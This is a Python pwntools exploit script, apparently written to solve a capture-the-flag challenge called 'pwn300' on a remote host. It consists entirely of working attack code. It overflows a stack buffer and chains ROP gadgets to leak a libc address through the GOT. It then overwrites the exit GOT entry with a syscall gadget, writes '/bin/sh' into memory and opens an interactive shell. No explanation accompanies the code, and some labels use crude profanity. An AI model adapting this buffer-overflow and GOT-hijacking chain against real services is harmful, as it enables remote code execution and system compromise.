from pwn import *
context.log_level = 'debug'
p = remote('119.28.63.211', 2339)
elf = ELF('./pwn300')
write_plt = elf.plt['write']
read_plt = elf.plt['read']
read_got = elf.got['read']
write_got = elf.got['write']
exit_got = elf.got['exit']
plt_start = 0x400430
link_map_addr = 0x0000000000601008
flag_got = 0x0000000000601028
unk_addr = 0x0000000000400501
main_addr = 0x0000000004004A9
rdi_ret = 0x00000000004004a5
rsi_r15_ret = 0x00000000004004a3
test_addr = 0x0000000004004CA
fuck_me = 0x000000000400511
write_sth = 0x00000000004004B1
bx_bp_12_13_14_15 = 0x000000000040049C
call_r12 = 0x0000000000400484
call_write = 0x00000000004004C5
offset_syscall_0 = 0x43a
offset_syscall_1 = 0x40a
offset_read = 0x46a
offset_syscall = 0x466
p.recvuntil('fuck me!\n')
raw_input()
payload = ''
payload += 'A' * 0x28
payload += p64(rdi_ret) + p64(0x01)
payload += p64(rsi_r15_ret) + p64(read_got) + p64(0x00)
payload += p64(write_plt) + p64(main_addr)
p.send(payload.ljust(0xa0, '\x00'))
read_addr = u64(p.recvuntil('fuck me!\n', drop = True)[:8])
log.info('read addr ' + hex(read_addr))
libc_base = read_addr - offset_read
syscall_0_addr = libc_base + offset_syscall_0
syscall_1_addr = libc_base + offset_syscall_1
syscall_addr = libc_base + offset_syscall
payload = ''
payload += 'A' * 0x28
payload += p64(rdi_ret) + p64(0x00)
payload += p64(rsi_r15_ret) + p64(exit_got) + p64(0x00)
payload += p64(syscall_0_addr)
payload += p64(rdi_ret) + p64(0x01)
payload += p64(rsi_r15_ret) + p64(exit_got) + p64(0x00)
payload += p64(syscall_1_addr) + p64(main_addr)
p.send(payload.ljust(0xa0, '\x00'))
payload = '/bin/sh' + '\x00'
payload += p64(syscall_addr)
payload = payload.ljust(58, '\x00')
payload += '\n'
p.send(payload)
p.recvuntil('fuck me!\n')
payload = ''
payload += 'A' * 0x28
payload += p64(rdi_ret) + p64(0x00)
payload += p64(rsi_r15_ret) + p64(exit_got + 0x10) + p64(0x00)
payload += p64(syscall_0_addr)
payload += p64(bx_bp_12_13_14_15)
payload += p64(0x00) * 2
payload += p64(exit_got + 0x08)
payload += p64(0x00)
payload += p64(0x00)
payload += p64(exit_got)
payload += p64(call_r12) + p64(main_addr)
log.info(hex(len(payload)))
p.send(payload)
p.send('A' * 58 + '\n')
p.interactive()